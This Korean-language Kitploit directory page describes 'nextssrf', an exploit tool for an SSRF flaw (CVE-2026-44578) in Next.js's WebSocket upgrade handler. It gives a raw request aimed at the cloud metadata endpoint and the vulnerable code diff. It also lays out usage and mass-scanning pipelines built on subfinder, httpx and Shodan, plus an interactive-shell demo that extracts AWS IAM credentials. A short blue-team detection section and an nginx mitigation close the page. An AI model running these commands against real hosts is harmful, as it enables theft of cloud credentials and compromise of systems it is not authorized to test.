Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
nextssrf — CVE-2026-44578 스캐너 및 Next.js WebSocket 업그레이드 핸들러의 SSRF 취약점을 위한 익스플로잇 도구. 취약한 버전을 탐지하고, 클라우드 메타데이터를 추출하며, 대화형 셸을 통해 IAM 자격 증명을 유출합니다. | Kitploit
도구/GitHubGitHub/ynsmroztas/nextssrf
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationInformation GatheringCloud Security
GitHubynsmroztas/nextssrf

nextssrf

CVE-2026-44578 스캐너 및 Next.js WebSocket 업그레이드 핸들러의 SSRF 취약점을 위한 익스플로잇 도구. 취약한 버전을 탐지하고, 클라우드 메타데이터를 추출하며, 대화형 셸을 통해 IAM 자격 증명을 유출합니다.

저장소 보기
76203개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║         NextSSRF — CVE-2026-44578 스캐너 및 익스플로잇      ║
║   Next.js WebSocket 업그레이드 핸들러 SSRF                  ║
║   영향 버전: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4          ║
║         @mitsec / ynsmroztas — 버그 바운티 도구            ║
╚══════════════════════════════════════════════════════════════╝

Python CVE CVSS License Platform

CVE-2026-44578 — Next.js WebSocket 업그레이드 핸들러를 통한 서버-사이드 요청 위조

개요 · 설치 · 사용법 · 파이프라인 · Shodan · 대화형 · 면책 조항


개요

2026년 5월 11일, Vercel은 CVE-2026-44578 (CVSS 8.6)을 패치했습니다: Next.js의 WebSocket 업그레이드 핸들러에서 인증되지 않은 SSRF가 발생하며, 13.4.13 이후의 모든 자체 호스팅 배포에 영향을 미칩니다.

메커니즘

root@kitploit:~
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1   ← 절대 형식 URI
Host: vulnerable-nextjs.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

http://의 //는 normalizeRepeatedSlashes가 조기 종료되도록 하여 statusCode: 308 및 finished: true를 설정합니다. 취약한 업그레이드 핸들러는 두 플래그를 모두 무시하고 parsedUrl.protocol이 truthy일 때 proxyRequest를 호출합니다 — 요청을 공격자 제어 호스트의 80번 포트로 프록시합니다.

root@kitploit:~
// router-server.ts (vulnerable)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)

영향받는 버전

제품취약 버전수정 버전
Next.js13.4.13 – 15.5.1515.5.16
Next.js16.0.0 – 16.2.416.2.5
Vercel 호스팅✅ 영향 없음해당 없음

제한 사항

  • GET만 가능 (POST/PUT 불가)
  • 80번 포트만 가능 (URL 정규화로 인해 명시적 포트 제거됨)
  • AWS IMDSv2는 악용 불가 (PUT 토큰 필요)
  • GCP 메타데이터는 Upgrade: websocket을 400으로 거부
  • 리버스 프록시 (nginx/caddy/HAProxy)는 절대 형식 URI 차단

데모

NextSSRF — AWS 자격 증명 탈취

AWS IMDSv1 자격 증명이 CVE-2026-44578을 통해 탈취됨 — 대화형 익스플로잇 셸


설치

root@kitploit:~
git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.com

제로 의존성 — Python 표준 라이브러리만 사용. Python 3.10+ 필요.


사용법

단일 대상 스캔

root@kitploit:~
python3 nextssrf.py -t https://target.com

클라우드 특정 타겟팅

root@kitploit:~
# AWS 메타데이터만
python3 nextssrf.py -t https://target.com --cloud aws

# 사용자 정의 내부 대상
python3 nextssrf.py -t https://target.com \
  --ssrf-host http://internal-api --path /admin

# 심층 스캔 (+ 내부 서비스)
python3 nextssrf.py -t https://target.com --cloud aws --deep

대량 스캔 (파이프라인)

root@kitploit:~
# subfinder + httpx + nextssrf
subfinder -d target.com | httpx -silent | \
  python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl

# 파일 입력
python3 nextssrf.py -f targets.txt --threads 15 -o results.json

# 강제 스캔 (버전을 알 수 없어도)
python3 nextssrf.py -t https://target.com --force

종료 코드

코드의미
0취약하지 않음 / 깨끗함
1취약함 (익스플로잇 없음)
2SSRF 확인됨

대화형 셸

고급 익스플로잇 셸, 자동 클라우드 탐지 및 IAM 자격 증명 추출 포함:

root@kitploit:~
python3 nextssrf.py -t https://target.com
root@kitploit:~
╔══════════════════════════════════════════════════╗
║  NextSSRF v2 — 대화형 익스플로잇 셸              ║
║  대상    : ec2-x-x-x-x.compute.amazonaws.com    ║
║  CVE     : CVE-2026-44578  |  상태: 연결됨       ║
╚══════════════════════════════════════════════════╝

nextssrf(ec2-x...)> cloud
  [>] 클라우드 제공자 탐지 중...
  ✓ AWS — 일치: ['ami-id', 'instance-id', 'iam/', 'hostname']
  → 전체 자격 증명 추출을 위해 'aws' 실행

nextssrf(ec2-x...)> aws
  [1/3] 인스턴스 정보
  [200] 호스트명    : ip-172-31-47-134.ec2.internal
  [200] 가용 영역   : us-east-1d
  [200] 계정 ID    : {"AccountId": "370741706736"}

  [2/3] IAM 역할 발견
  ✓ IAM 역할 발견: my-ec2-role

  [3/3] 자격 증명 추출
  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
  🎯 AWS 자격 증명 탈취 완료!
  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
  AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX
  SecretKey   : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  Expiration  : 2026-05-14T22:32:22Z

셸 명령어

자동 모드

root@kitploit:~
# 클라우드 탐지 + 전체 익스플로잇 체인 자동 실행
python3 nextssrf.py -t https://target.com --auto

파이프라인 예시

root@kitploit:~
# 전체 정찰 → 익스플로잇 파이프라인
subfinder -d target.com \
  | httpx -silent -server \
  | grep -i "next" \
  | python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl

# Shodan 대량 스캔 → 확인된 호스트에 대해 대화형
python3 shodan_nextjs.py --key KEY --org "TargetCorp" \
  | python3 nextssrf.py --pipe --cloud aws -o hits.jsonl

# 특정 버전 범위 확인
cat hosts.txt \
  | python3 nextssrf.py --pipe --force --cloud aws \
  | jq '.[] | select(.ssrf_hits | length > 0)'

탐지 (블루 팀)

로그에서 악용 징후:

root@kitploit:~
# Next.js 프로세스 로그
Failed to proxy http:/   ← 단일 슬래시 = 정규화 지문

# 액세스 로그 (절대 형식 URI + Upgrade 헤더)
GET http://169.254.169.254/... HTTP/1.1
Connection: Upgrade
Upgrade: websocket

완화 조치 (패치할 수 없는 경우)

root@kitploit:~
# Nginx: 절대 형식 요청 URI 거부
if ($request_uri ~* "^https?://") {
    return 400;
}

참고 자료

  • GHSA-c4j6-fc7j-m34r
  • NVD CVE-2026-44578
  • Next.js 2026년 5월 보안 릴리스
  • Hadrian 기술 분석

면책 조항

승인된 보안 테스트 및 버그 바운티 연구용으로만 사용하세요. 자신이 소유하거나 명시적 서면 허가를 받은 시스템에 대해서만 사용하십시오. 저자는 오용 또는 무단 사용에 대해 책임을 지지 않습니다. 항상 버그 바운티 프로그램의 참여 규칙을 따르십시오.


❤️를 담아 @mitsec · ynsmroztas.github.io 제작

Intigriti 최고 해커 · 100+ HOF · 2430+ 취약점 · 1100+ P1 치명적

도구 다운로드
명령어설명
cloud클라우드 자동 탐지 (AWS/Azure/GCP/DO/OCI)
aws전체 AWS IAM 자격 증명 체인
azureAzure 관리 ID 토큰
scan클라우드 탐지 + 자동 익스플로잇
url <http://>사용자 정의 SSRF 요청
get <N>인덱스별 AWS IMDS 대상
list모든 IMDS 엔드포인트 표시
history요청 기록
save세션을 JSON으로 내보내기
quit종료